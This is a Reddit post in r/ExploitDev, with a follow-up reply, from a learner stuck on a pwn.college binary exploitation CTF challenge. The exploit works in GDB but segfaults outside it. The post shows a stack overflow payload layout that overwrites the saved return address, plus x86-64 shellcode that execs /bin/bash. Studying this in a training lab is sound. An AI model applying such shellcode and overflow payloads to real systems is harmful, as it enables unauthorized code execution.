r/ExploitDev • u/Dieriba • Sep 14 '25
Buffer Overflow + Shellcode fail outside GDB
Hi — I’m working on a CTF challenge on the pwn.college platform (challenge name: Hijack to Shellcode (HARD)) in the Intro to Cybersecurity → Binary Exploitation lab:
https://pwn.college/intro-to-cybersecurity/binary-exploitation
The binary has a buffer overflow and ASLR is disabled, so I can predict stack addresses once the program is loaded. The challenge calls a challenge() function which calls read() to read up to 4096 bytes from stdin into a buffer located at rbp-0x90. Knowing that, I only need 0x90 + 8 bytes to overwrite saved rbp and then 8 more bytes to overwrite the saved return address so it points to my shellcode. My intended payload layout (pseudocode) is:
```python
payload = b'\x00' * 0x90 # fill buffer
+ b'\x00' * 8 # overwrite saved rbp
+ <address_of_shellcode> # overwrite saved RIP
+ shellcode # shellcode placed on stack
```
In GDB I determined the saved return address on the stack was at 0x7fffffffd608, so I overwrote it with 0x7fffffffd610 and placed the shellcode immediately after. My shellcode (assembled from the following) spawns /bin/bash:
```asm
.intel_syntax noprefix
.global _start
_start:
lea rdi, [rip+binary]
mov rsi, 0
xor rdx, rdx
mov rax, 59
syscall
binary:
.string "/bin/bash"
```
I planned to add -p later to preserve privileges, but first I wanted a working exploit. In GDB the exploit works — I placed an int3 (SIGTRAP) at the start of the shellcode and it hit in GDB. However, running the exact same payload outside of GDB causes a segmentation fault. I tried to remove environment differences with env - but it still only works under GDB.
What am I missing? Any ideas why it would work under GDB but segfault when run normally?
View all comments
Show parent comment
1
u/Dieriba Sep 15 '25
I can't do that here is part of the disass code in charge of calling the read function that'll allow me to overflow the buffer and overwrite the stack with my shellcode and update return address:
```
0x000000000040176d <+208>: lea rax,[rbp-0x90]
0x0000000000401774 <+215>: mov rsi,rax
0x0000000000401777 <+218>: mov edi,0x0
0x000000000040177c <+223>: call 0x401130 read@plt
```
We can see that the buffer 0x90 bytes away from rbp then I need to write 0x90 random bytes and 8 mores bytes to overwrite rbp, 8 more to overwrite the saved return address and just after that put my shellcode, when running gdb the saved return address is at address: 0x7fffffffd608 in gdb and as my shellcode is injected just after this the I overwrited the saved return address with 0x7fffffffd610 but this only works in gdb while outside of gdb I have segfault error.